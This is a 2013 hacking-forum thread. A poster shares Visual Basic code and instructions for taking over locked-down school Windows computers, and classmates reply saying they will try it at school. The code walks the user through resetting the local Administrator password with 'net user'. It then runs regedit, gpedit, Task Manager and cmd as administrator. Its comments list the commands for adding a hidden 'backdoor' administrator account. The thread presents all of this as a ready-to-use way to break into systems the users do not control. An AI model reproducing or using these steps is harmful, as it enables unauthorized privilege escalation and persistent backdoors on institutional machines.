

Forum:[Hack Forums](#)

Thread: [School Hacking - Change administrator password](#)

(\$LOOP) - November 15, 2013, 2:50 pm

Well, school's have computers, with a lot of restrictions, so I'm here to bypass them. This code is written in visual basics and will own any computer restrictions assuming they're dumb enough to leave one access point open (like most schools).

So this tool will give you details on how to rape the password using the method common method, then you'll have the administrator credentials along with tools like: Task Manager, Group Policy Editor, Regedit, etc.

If you enjoy this, please say thanks. This program was tested on Windows XP latest service pack. If you want to add more commands, you'll need to learn their process name(ex: cmd.exe, taskmgr.exe, regedit.exe, Gpedit.msc) then just run them like the other process.start() methods.

Let me know if you have any suggestions on what I should add. I'm working on adding another bypass method also, just need to test it.

Pictures of the program:

[img]http://img546.imageshack.us/img546/7099/7adc.png[/img]

Code:

Code Imports System.Security

' I am not to be held at fault if you mis-use this.

' This program might get you suspended/in trouble with your school

' If you are smart, you'll figure out how to create a backdoor administrator account

' poc: command.com /k net user backdoor /ADD

' command.com /k net user backdoor ifuckingwin123!@

' ^ sets password to ifuckingwin123!@ after adding backdoor account

' command.com /k net localgroup administrators backdoor /add

' ^ adds your local account to administrator

Public Class Form1

Dim username As String = "Administrator"

Dim password As SecureString = ConvertToSecure("ifuckingwin123!@")

Dim domain As String = Nothing

Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load

TextBox1.Enabled = False

TextBox1.Text = "Click the button above, please."

Panel1.Visible = False

End Sub

' Functions

Function ConvertToSecure(ByVal str As String)

Dim password As New SecureString

For Each c As Char In str.ToCharArray

password.AppendChar(c)

Next

Return password

End Function

```
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
    MessageBox.Show("Manual Rape --->")
    MessageBox.Show("Start -> Run")
    MessageBox.Show("command.com /k net user Administrator ifuckingwin123!@")
    MessageBox.Show("Command Completed Successfully")
    MessageBox.Show("Password reset successfully, new administrator password:
ifuckingwin123!@")
    TextBox1.Text = "Administrator password reset. You may now use the commands in the
buttons beside"
    'Panel1.Visible = True
```

End Sub

```
Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
    Process.Start("taskmgr.exe", username, password, domain)
End Sub
```

```
Private Sub Button3_Click(sender As Object, e As EventArgs) Handles Button3.Click
    Process.Start("regedit.exe", username, password, domain)
End Sub
```

```
Private Sub Button4_Click(sender As Object, e As EventArgs) Handles Button4.Click
    Process.Start("Gpedit.msc", username, password, domain)
End Sub
```

```
Private Sub Button5_Click(sender As Object, e As EventArgs) Handles Button5.Click
    Process.Start("cmd.exe", username, password, domain)
End Sub
End Class
```

Chester07 - November 15, 2013, 2:57 pm

Looks interesting! Does this work for Windows 7 too?

Bartuc - November 15, 2013, 3:10 pm

No it will not work on Windows 7 x64 it does not have command.com.

(\$LOOP) - November 15, 2013, 3:24 pm

(Nov 15, 2013 03:57 PM)Chester07 Wrote: [\[CITE\]](#) Looks interesting! Does this work for Windows 7 too?

I have a different method I'm testing for Windows 7.

bossdevil132 - November 15, 2013, 4:59 pm

Do we have to open cmd to do all of this?

Music Helps - November 15, 2013, 7:05 pm

Looks pretty good, I'll test it at school on Monday if you'd like me to. Looking forward to see what you'd be able to bypass. I've been working on finding ways to get into my school, it seems as they've got it all locked down pretty tight. Like I said, I'd be glad to test.

Duhoh - November 15, 2013, 7:08 pm

Wouldn't recommend doing this OP is a moron. ?

Billie Joe - *November 15, 2013, 7:40 pm*

Thus looks great! School PC's are so restricted!